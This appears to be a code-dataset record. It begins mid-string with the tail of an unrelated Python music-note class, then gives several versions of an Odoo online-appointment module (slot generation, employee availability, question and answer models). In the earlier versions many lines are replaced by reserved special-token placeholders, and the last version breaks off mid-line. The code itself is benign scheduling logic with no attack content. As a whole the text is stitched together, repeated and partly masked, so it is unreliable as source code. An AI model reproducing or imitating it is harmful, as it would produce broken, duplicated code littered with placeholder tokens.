1,\n 2: 2,\n 4: 3,\n 5: 4,\n 7: 5,\n 9: 6,\n 11: 7,\n}\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, *args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n\n def __int__(self):\n return self.num\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n\n def get_thirds(self):\n return self._get_interval(2)\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n\n def get_next_possible_notes(self, /, leap=True):\n ret = [Note(self.num - 1), Note(self.num + 1)]\n if leap:\n ret += [Note(self.num - 2), Note(self.num + 2)]\n shuffle(ret)\n return ret\n\n def __sub__(self, other) -> int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) -> List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) -> int:\n return note_to_midi[self.num] + root\n\n\nINVERSE_POSSIBLE_NOTE = {\n Note(2), Note(3), Note(4),\n}\n\n\ndef choose_from_inverse_possible_note():\n return choice(list(INVERSE_POSSIBLE_NOTE))\n\n\nALL_NOTES = {\n Note(1), Note(2), Note(3), Note(4), Note(5), Note(6), Note(7),\n}\n\n\ndef choose_from_all_notes():\n return choice(list(ALL_NOTES))\n\n\ndef fill_in_thirds() -> Tuple[Note, Note]:\n first = choice(list(ALL_NOTES))\n second = choice(list(first.get_thirds()))\n return first, second\n", "step-ids": [ 24, 26, 28, 33, 34 ] }

[ 24, 26, 28, 33, 34 ]

<|reserved_special_token_0|> class CalendarAppointmentSlot(models.Model): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self): raise ValidationError(_( 'Please enter a valid hour between 0:00 and 24:00 for your slots.' )) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % ( weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour % 1 * 60))))) class CalendarAppointmentQuestion(models.Model): _name = 'calendar.appointment.question' _description = 'Online Appointment : Questions' _order = 'sequence' sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)' )], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = 'calendar.appointment.answer' _description = 'Online Appointment : Answers' question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True) <|reserved_special_token_1|> <|reserved_special_token_0|> class CalendarAppointmentType(models.Model): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def _get_appointment_slots(self, timezone, employee=None): """ Fetch available slots to book an appointment :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1' :param employee: if set will only check available slots for this employee :returns: list of dicts (1 per month) containing available slots per day per week. complex structure used to simplify rendering of template """ self.ensure_one() appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( hours=self.min_schedule_hours)) last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( days=self.max_schedule_days)) slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone) if not employee or employee in self.employee_ids: self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee) today = requested_tz.fromutc(datetime.utcnow()) start = today month_dates_calendar = cal.Calendar(0).monthdatescalendar months = [] while (start.year, start.month) <= (last_day.year, last_day.month): dates = month_dates_calendar(start.year, start.month) for week_index, week in enumerate(dates): for day_index, day in enumerate(week): mute_cls = weekend_cls = today_cls = None today_slots = [] if day.weekday() in (cal.SUNDAY, cal.SATURDAY): weekend_cls = 'o_weekend' if day == today.date() and day.month == today.month: today_cls = 'o_today' if day.month != start.month: mute_cls = 'text-muted o_mute_day' else: while slots and slots[0][timezone][0].date() <= day: if slots[0][timezone][0].date( ) == day and 'employee_id' in slots[0]: today_slots.append({'employee_id': slots[0] ['employee_id'].id, 'datetime': slots[0 ][timezone][0].strftime( '%Y-%m-%d %H:%M:%S'), 'hours': slots[0] [timezone][0].strftime('%H:%M')}) slots.pop(0) dates[week_index][day_index] = {'day': day, 'slots': today_slots, 'mute_cls': mute_cls, 'weekend_cls': weekend_cls, 'today_cls': today_cls} months.append({'month': format_datetime(start, 'MMMM Y', locale =get_lang(self.env).code), 'weeks': dates}) start = start + relativedelta(months=1) return months class CalendarAppointmentSlot(models.Model): _name = 'calendar.appointment.slot' _description = 'Online Appointment : Time Slot' _rec_name = 'weekday' _order = 'weekday, hour' appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'), ('7', 'Sunday')], string='Week Day', required=True) hour = fields.Float('Starting Hour', required=True, default=8.0) @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self): raise ValidationError(_( 'Please enter a valid hour between 0:00 and 24:00 for your slots.' )) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % ( weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour % 1 * 60))))) class CalendarAppointmentQuestion(models.Model): _name = 'calendar.appointment.question' _description = 'Online Appointment : Questions' _order = 'sequence' sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)' )], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = 'calendar.appointment.answer' _description = 'Online Appointment : Answers' question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True) <|reserved_special_token_1|> <|reserved_special_token_0|> class CalendarAppointmentType(models.Model): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def _compute_website_url(self): super(CalendarAppointmentType, self)._compute_website_url() for appointment_type in self: if appointment_type.id: appointment_type.website_url = '/calendar/%s/appointment' % ( slug(appointment_type),) <|reserved_special_token_0|> def action_calendar_meetings(self): self.ensure_one() action = self.env['ir.actions.actions']._for_xml_id( 'calendar.action_calendar_event') action['context'] = {'default_appointment_type_id': self.id, 'search_default_appointment_type_id': self.id} return action <|reserved_special_token_0|> <|reserved_special_token_0|> def _get_appointment_slots(self, timezone, employee=None): """ Fetch available slots to book an appointment :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1' :param employee: if set will only check available slots for this employee :returns: list of dicts (1 per month) containing available slots per day per week. complex structure used to simplify rendering of template """ self.ensure_one() appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( hours=self.min_schedule_hours)) last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( days=self.max_schedule_days)) slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone) if not employee or employee in self.employee_ids: self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee) today = requested_tz.fromutc(datetime.utcnow()) start = today month_dates_calendar = cal.Calendar(0).monthdatescalendar months = [] while (start.year, start.month) <= (last_day.year, last_day.month): dates = month_dates_calendar(start.year, start.month) for week_index, week in enumerate(dates): for day_index, day in enumerate(week): mute_cls = weekend_cls = today_cls = None today_slots = [] if day.weekday() in (cal.SUNDAY, cal.SATURDAY): weekend_cls = 'o_weekend' if day == today.date() and day.month == today.month: today_cls = 'o_today' if day.month != start.month: mute_cls = 'text-muted o_mute_day' else: while slots and slots[0][timezone][0].date() <= day: if slots[0][timezone][0].date( ) == day and 'employee_id' in slots[0]: today_slots.append({'employee_id': slots[0] ['employee_id'].id, 'datetime': slots[0 ][timezone][0].strftime( '%Y-%m-%d %H:%M:%S'), 'hours': slots[0] [timezone][0].strftime('%H:%M')}) slots.pop(0) dates[week_index][day_index] = {'day': day, 'slots': today_slots, 'mute_cls': mute_cls, 'weekend_cls': weekend_cls, 'today_cls': today_cls} months.append({'month': format_datetime(start, 'MMMM Y', locale =get_lang(self.env).code), 'weeks': dates}) start = start + relativedelta(months=1) return months class CalendarAppointmentSlot(models.Model): _name = 'calendar.appointment.slot' _description = 'Online Appointment : Time Slot' _rec_name = 'weekday' _order = 'weekday, hour' appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'), ('7', 'Sunday')], string='Week Day', required=True) hour = fields.Float('Starting Hour', required=True, default=8.0) @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self): raise ValidationError(_( 'Please enter a valid hour between 0:00 and 24:00 for your slots.' )) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % ( weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour % 1 * 60))))) class CalendarAppointmentQuestion(models.Model): _name = 'calendar.appointment.question' _description = 'Online Appointment : Questions' _order = 'sequence' sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)' )], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = 'calendar.appointment.answer' _description = 'Online Appointment : Answers' question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True) <|reserved_special_token_1|> import calendar as cal import random import pytz from datetime import datetime, timedelta, time from dateutil import rrule from dateutil.relativedelta import relativedelta from babel.dates import format_datetime from odoo import api, fields, models, _ from odoo.tools.misc import get_lang from odoo.addons.base.models.res_partner import _tz_get from odoo.addons.http_routing.models.ir_http import slug from odoo.exceptions import ValidationError class CalendarAppointmentType(models.Model): _name = 'calendar.appointment.type' _description = 'Online Appointment Type' _inherit = ['mail.thread', 'website.seo.metadata', 'website.published.mixin'] _order = 'sequence' sequence = fields.Integer('Sequence') name = fields.Char('Appointment Type', required=True, translate=True) min_schedule_hours = fields.Float('Schedule before (hours)', required= True, default=1.0) max_schedule_days = fields.Integer('Schedule not after (days)', required=True, default=15) min_cancellation_hours = fields.Float('Cancel Before (hours)', required =True, default=1.0) appointment_duration = fields.Float('Appointment Duration', required= True, default=1.0) reminder_ids = fields.Many2many('calendar.alarm', string='Reminders') location = fields.Char('Location', help='Location of the appointments') message_confirmation = fields.Html('Confirmation Message', translate=True) message_intro = fields.Html('Introduction Message', translate=True) country_ids = fields.Many2many('res.country', 'website_calendar_type_country_rel', string='Restrict Countries', help= 'Keep empty to allow visitors from any country, otherwise you only allow visitors from selected countries' ) question_ids = fields.One2many('calendar.appointment.question', 'appointment_type_id', string='Questions', copy=True) slot_ids = fields.One2many('calendar.appointment.slot', 'appointment_type_id', 'Availabilities', copy=True) appointment_tz = fields.Selection(_tz_get, string='Timezone', required= True, default=lambda self: self.env.user.tz, help= 'Timezone where appointment take place') employee_ids = fields.Many2many('hr.employee', 'website_calendar_type_employee_rel', domain=[('user_id', '!=', False)], string='Employees') assignation_method = fields.Selection([('random', 'Random'), ('chosen', 'Chosen by the Customer')], string='Assignment Method', default= 'random', help= 'How employees will be assigned to meetings customers book on your website.' ) appointment_count = fields.Integer('# Appointments', compute= '_compute_appointment_count') def _compute_appointment_count(self): meeting_data = self.env['calendar.event'].read_group([( 'appointment_type_id', 'in', self.ids)], ['appointment_type_id' ], ['appointment_type_id']) mapped_data = {m['appointment_type_id'][0]: m[ 'appointment_type_id_count'] for m in meeting_data} for appointment_type in self: appointment_type.appointment_count = mapped_data.get( appointment_type.id, 0) def _compute_website_url(self): super(CalendarAppointmentType, self)._compute_website_url() for appointment_type in self: if appointment_type.id: appointment_type.website_url = '/calendar/%s/appointment' % ( slug(appointment_type),) @api.returns('self', lambda value: value.id) def copy(self, default=None): default = default or {} default['name'] = self.name + _(' (copy)') return super(CalendarAppointmentType, self).copy(default=default) def action_calendar_meetings(self): self.ensure_one() action = self.env['ir.actions.actions']._for_xml_id( 'calendar.action_calendar_event') action['context'] = {'default_appointment_type_id': self.id, 'search_default_appointment_type_id': self.id} return action def _slots_generate(self, first_day, last_day, timezone): """ Generate all appointment slots (in naive UTC, appointment timezone, and given (visitors) timezone) between first_day and last_day (datetimes in appointment timezone) :return: [ {'slot': slot_record, <timezone>: (date_start, date_end), ...}, ... ] """ def append_slot(day, slot): local_start = appt_tz.localize(datetime.combine(day, time(hour= int(slot.hour), minute=int(round(slot.hour % 1 * 60))))) local_end = appt_tz.localize(datetime.combine(day, time(hour= int(slot.hour), minute=int(round(slot.hour % 1 * 60)))) + relativedelta(hours=self.appointment_duration)) slots.append({self.appointment_tz: (local_start, local_end), timezone: (local_start.astimezone(requested_tz), local_end. astimezone(requested_tz)), 'UTC': (local_start.astimezone( pytz.UTC).replace(tzinfo=None), local_end.astimezone(pytz. UTC).replace(tzinfo=None)), 'slot': slot}) appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) slots = [] for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == first_day.isoweekday()): if slot.hour > first_day.hour + first_day.minute / 60.0: append_slot(first_day.date(), slot) slot_weekday = [(int(weekday) - 1) for weekday in self.slot_ids. mapped('weekday')] for day in rrule.rrule(rrule.DAILY, dtstart=first_day.date() + timedelta(days=1), until=last_day.date(), byweekday=slot_weekday): for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == day.isoweekday()): append_slot(day, slot) return slots def _slots_available(self, slots, first_day, last_day, employee=None): """ Fills the slot stucture with an available employee :param slots: slots structure generated by _slots_generate :param first_day: start datetime in UTC :param last_day: end datetime in UTC :param employee: if set, only consider this employee if not set, consider all employees assigned to this appointment type """ def is_work_available(start_dt, end_dt, intervals): """ check if the slot is contained in the employee's work hours (defined by intervals) """ def find_start_index(): """ find the highest index of intervals for which the start_date (element [0]) is before (or at) start_dt """ def recursive_find_index(lower_bound, upper_bound): if upper_bound - lower_bound <= 1: if intervals[upper_bound][0] <= start_dt: return upper_bound return lower_bound index = (upper_bound + lower_bound) // 2 if intervals[index][0] <= start_dt: return recursive_find_index(index, upper_bound) else: return recursive_find_index(lower_bound, index) if start_dt <= intervals[0][0] - tolerance: return -1 if end_dt >= intervals[-1][1] + tolerance: return -1 return recursive_find_index(0, len(intervals) - 1) if not intervals: return False tolerance = timedelta(minutes=1) start_index = find_start_index() if start_index != -1: for index in range(start_index, len(intervals)): if intervals[index][1] >= end_dt - tolerance: return True if len(intervals) == index + 1 or intervals[index + 1][0 ] - intervals[index][1] > tolerance: return False return False def is_calendar_available(slot, events, employee): """ Returns True if the given slot doesn't collide with given events for the employee """ start_dt = slot['UTC'][0] end_dt = slot['UTC'][1] event_in_scope = lambda ev: fields.Date.to_date(ev.start ) <= fields.Date.to_date(end_dt) and fields.Date.to_date(ev .stop) >= fields.Date.to_date(start_dt) for ev in events.filtered(event_in_scope): if ev.allday: event_tz = pytz.timezone(ev.event_tz or employee. user_id.tz or self.env.user.tz or slot['slot']. appointment_type_id.appointment_tz or 'UTC') ev_start_dt = datetime.combine(fields.Date.from_string( ev.start_date), time.min) ev_stop_dt = datetime.combine(fields.Date.from_string( ev.stop_date), time.max) ev_start_dt = event_tz.localize(ev_start_dt).astimezone( pytz.UTC).replace(tzinfo=None) ev_stop_dt = event_tz.localize(ev_stop_dt).astimezone(pytz .UTC).replace(tzinfo=None) if ev_start_dt < end_dt and ev_stop_dt > start_dt: return False elif fields.Datetime.to_datetime(ev.start ) < end_dt and fields.Datetime.to_datetime(ev.stop ) > start_dt: return False return True workhours = {} meetings = {} available_employees = [emp.with_context(tz=emp.user_id.tz) for emp in employee or self.employee_ids] random.shuffle(available_employees) for slot in slots: for emp_pos, emp in enumerate(available_employees): if emp_pos not in workhours: workhours[emp_pos] = [(interval[0].astimezone(pytz.UTC) .replace(tzinfo=None), interval[1].astimezone(pytz. UTC).replace(tzinfo=None)) for interval in emp. resource_calendar_id._work_intervals_batch( first_day, last_day, resources=emp.resource_id)[emp .resource_id.id]] if is_work_available(slot['UTC'][0], slot['UTC'][1], workhours[emp_pos]): if emp_pos not in meetings: meetings[emp_pos] = self.env['calendar.event'].search([ ('partner_ids.user_ids', '=', emp.user_id.id), ('start', '<', fields.Datetime.to_string( last_day.replace(hour=23, minute=59, second=59) )), ('stop', '>', fields.Datetime.to_string( first_day.replace(hour=0, minute=0, second=0)))]) if is_calendar_available(slot, meetings[emp_pos], emp): slot['employee_id'] = emp break def _get_appointment_slots(self, timezone, employee=None): """ Fetch available slots to book an appointment :param timezone: timezone string e.g.: 'Europe/Brussels' or 'Etc/GMT+1' :param employee: if set will only check available slots for this employee :returns: list of dicts (1 per month) containing available slots per day per week. complex structure used to simplify rendering of template """ self.ensure_one() appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) first_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( hours=self.min_schedule_hours)) last_day = requested_tz.fromutc(datetime.utcnow() + relativedelta( days=self.max_schedule_days)) slots = self._slots_generate(first_day.astimezone(appt_tz), last_day.astimezone(appt_tz), timezone) if not employee or employee in self.employee_ids: self._slots_available(slots, first_day.astimezone(pytz.UTC), last_day.astimezone(pytz.UTC), employee) today = requested_tz.fromutc(datetime.utcnow()) start = today month_dates_calendar = cal.Calendar(0).monthdatescalendar months = [] while (start.year, start.month) <= (last_day.year, last_day.month): dates = month_dates_calendar(start.year, start.month) for week_index, week in enumerate(dates): for day_index, day in enumerate(week): mute_cls = weekend_cls = today_cls = None today_slots = [] if day.weekday() in (cal.SUNDAY, cal.SATURDAY): weekend_cls = 'o_weekend' if day == today.date() and day.month == today.month: today_cls = 'o_today' if day.month != start.month: mute_cls = 'text-muted o_mute_day' else: while slots and slots[0][timezone][0].date() <= day: if slots[0][timezone][0].date( ) == day and 'employee_id' in slots[0]: today_slots.append({'employee_id': slots[0] ['employee_id'].id, 'datetime': slots[0 ][timezone][0].strftime( '%Y-%m-%d %H:%M:%S'), 'hours': slots[0] [timezone][0].strftime('%H:%M')}) slots.pop(0) dates[week_index][day_index] = {'day': day, 'slots': today_slots, 'mute_cls': mute_cls, 'weekend_cls': weekend_cls, 'today_cls': today_cls} months.append({'month': format_datetime(start, 'MMMM Y', locale =get_lang(self.env).code), 'weeks': dates}) start = start + relativedelta(months=1) return months class CalendarAppointmentSlot(models.Model): _name = 'calendar.appointment.slot' _description = 'Online Appointment : Time Slot' _rec_name = 'weekday' _order = 'weekday, hour' appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') weekday = fields.Selection([('1', 'Monday'), ('2', 'Tuesday'), ('3', 'Wednesday'), ('4', 'Thursday'), ('5', 'Friday'), ('6', 'Saturday'), ('7', 'Sunday')], string='Week Day', required=True) hour = fields.Float('Starting Hour', required=True, default=8.0) @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self): raise ValidationError(_( 'Please enter a valid hour between 0:00 and 24:00 for your slots.' )) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % ( weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour % 1 * 60))))) class CalendarAppointmentQuestion(models.Model): _name = 'calendar.appointment.question' _description = 'Online Appointment : Questions' _order = 'sequence' sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)' )], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = 'calendar.appointment.answer' _description = 'Online Appointment : Answers' question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True) <|reserved_special_token_1|> # -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. import calendar as cal import random import pytz from datetime import datetime, timedelta, time from dateutil import rrule from dateutil.relativedelta import relativedelta from babel.dates import format_datetime from odoo import api, fields, models, _ from odoo.tools.misc import get_lang from odoo.addons.base.models.res_partner import _tz_get from odoo.addons.http_routing.models.ir_http import slug from odoo.exceptions import ValidationError class CalendarAppointmentType(models.Model): _name = "calendar.appointment.type" _description = "Online Appointment Type" _inherit = ['mail.thread', "website.seo.metadata", 'website.published.mixin'] _order = "sequence" sequence = fields.Integer('Sequence') name = fields.Char('Appointment Type', required=True, translate=True) min_schedule_hours = fields.Float('Schedule before (hours)', required=True, default=1.0) max_schedule_days = fields.Integer('Schedule not after (days)', required=True, default=15) min_cancellation_hours = fields.Float('Cancel Before (hours)', required=True, default=1.0) appointment_duration = fields.Float('Appointment Duration', required=True, default=1.0) reminder_ids = fields.Many2many('calendar.alarm', string="Reminders") location = fields.Char('Location', help="Location of the appointments") message_confirmation = fields.Html('Confirmation Message', translate=True) message_intro = fields.Html('Introduction Message', translate=True) country_ids = fields.Many2many( 'res.country', 'website_calendar_type_country_rel', string='Restrict Countries', help="Keep empty to allow visitors from any country, otherwise you only allow visitors from selected countries") question_ids = fields.One2many('calendar.appointment.question', 'appointment_type_id', string='Questions', copy=True) slot_ids = fields.One2many('calendar.appointment.slot', 'appointment_type_id', 'Availabilities', copy=True) appointment_tz = fields.Selection( _tz_get, string='Timezone', required=True, default=lambda self: self.env.user.tz, help="Timezone where appointment take place") employee_ids = fields.Many2many('hr.employee', 'website_calendar_type_employee_rel', domain=[('user_id', '!=', False)], string='Employees') assignation_method = fields.Selection([ ('random', 'Random'), ('chosen', 'Chosen by the Customer')], string='Assignment Method', default='random', help="How employees will be assigned to meetings customers book on your website.") appointment_count = fields.Integer('# Appointments', compute='_compute_appointment_count') def _compute_appointment_count(self): meeting_data = self.env['calendar.event'].read_group([('appointment_type_id', 'in', self.ids)], ['appointment_type_id'], ['appointment_type_id']) mapped_data = {m['appointment_type_id'][0]: m['appointment_type_id_count'] for m in meeting_data} for appointment_type in self: appointment_type.appointment_count = mapped_data.get(appointment_type.id, 0) def _compute_website_url(self): super(CalendarAppointmentType, self)._compute_website_url() for appointment_type in self: if appointment_type.id : appointment_type.website_url = '/calendar/%s/appointment' % (slug(appointment_type),) @api.returns('self', lambda value: value.id) def copy(self, default=None): default = default or {} default['name'] = self.name + _(' (copy)') return super(CalendarAppointmentType, self).copy(default=default) def action_calendar_meetings(self): self.ensure_one() action = self.env["ir.actions.actions"]._for_xml_id("calendar.action_calendar_event") action['context'] = { 'default_appointment_type_id': self.id, 'search_default_appointment_type_id': self.id } return action # -------------------------------------- # Slots Generation # -------------------------------------- def _slots_generate(self, first_day, last_day, timezone): """ Generate all appointment slots (in naive UTC, appointment timezone, and given (visitors) timezone) between first_day and last_day (datetimes in appointment timezone) :return: [ {'slot': slot_record, <timezone>: (date_start, date_end), ...}, ... ] """ def append_slot(day, slot): local_start = appt_tz.localize(datetime.combine(day, time(hour=int(slot.hour), minute=int(round((slot.hour % 1) * 60))))) local_end = appt_tz.localize( datetime.combine(day, time(hour=int(slot.hour), minute=int(round((slot.hour % 1) * 60)))) + relativedelta(hours=self.appointment_duration)) slots.append({ self.appointment_tz: ( local_start, local_end, ), timezone: ( local_start.astimezone(requested_tz), local_end.astimezone(requested_tz), ), 'UTC': ( local_start.astimezone(pytz.UTC).replace(tzinfo=None), local_end.astimezone(pytz.UTC).replace(tzinfo=None), ), 'slot': slot, }) appt_tz = pytz.timezone(self.appointment_tz) requested_tz = pytz.timezone(timezone) slots = [] for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == first_day.isoweekday()): if slot.hour > first_day.hour + first_day.minute / 60.0: append_slot(first_day.date(), slot) slot_weekday = [int(weekday) - 1 for weekday in self.slot_ids.mapped('weekday')] for day in rrule.rrule(rrule.DAILY, dtstart=first_day.date() + timedelta(days=1), until=last_day.date(), byweekday=slot_weekday): for slot in self.slot_ids.filtered(lambda x: int(x.weekday) == day.isoweekday()): append_slot(day, slot) return slots def _slots_available(self, slots, first_day, last_day, employee=None): """ Fills the slot stucture with an available employee :param slots: slots structure generated by _slots_generate :param first_day: start datetime in UTC :param last_day: end datetime in UTC :param employee: if set, only consider this employee if not set, consider all employees assigned to this appointment type """ def is_work_available(start_dt, end_dt, intervals): """ check if the slot is contained in the employee's work hours (defined by intervals) """ def find_start_index(): """ find the highest index of intervals for which the start_date (element [0]) is before (or at) start_dt """ def recursive_find_index(lower_bound, upper_bound): if upper_bound - lower_bound <= 1: if intervals[upper_bound][0] <= start_dt: return upper_bound return lower_bound index = (upper_bound + lower_bound) // 2 if intervals[index][0] <= start_dt: return recursive_find_index(index, upper_bound) else: return recursive_find_index(lower_bound, index) if start_dt <= intervals[0][0] - tolerance: return -1 if end_dt >= intervals[-1][1] + tolerance: return -1 return recursive_find_index(0, len(intervals) - 1) if not intervals: return False tolerance = timedelta(minutes=1) start_index = find_start_index() if start_index != -1: for index in range(start_index, len(intervals)): if intervals[index][1] >= end_dt - tolerance: return True if len(intervals) == index + 1 or intervals[index + 1][0] - intervals[index][1] > tolerance: return False return False def is_calendar_available(slot, events, employee): """ Returns True if the given slot doesn't collide with given events for the employee """ start_dt = slot['UTC'][0] end_dt = slot['UTC'][1] event_in_scope = lambda 